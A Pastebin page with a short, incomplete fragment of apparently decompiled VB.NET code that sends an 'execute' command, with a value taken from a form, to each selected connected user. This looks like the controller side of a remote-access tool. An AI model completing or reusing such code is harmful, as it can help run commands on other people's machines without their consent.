Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- If Operators.ConditionalCompareObjectNotEqual(form.Tag, "", False) Then
- Dim enumerator As IEnumerator
- Try
- enumerator = Me.Lv1.SelectedItems.GetEnumerator
- Do While enumerator.MoveNext
- Dim user As USER = DirectCast(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(enumerator.Current), Nothing, "tag", New Object(0 - 1) {}, Nothing, Nothing, Nothing), USER)
- Dim s As String = Conversions.ToString(Me.httpconvert(Conversions.ToString(Operators.ConcatenateObject(("execute" & Me.Y), form.Tag))))
- user.Send(s)
- Loop
- Finally
- End Try
- End If
- End If
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement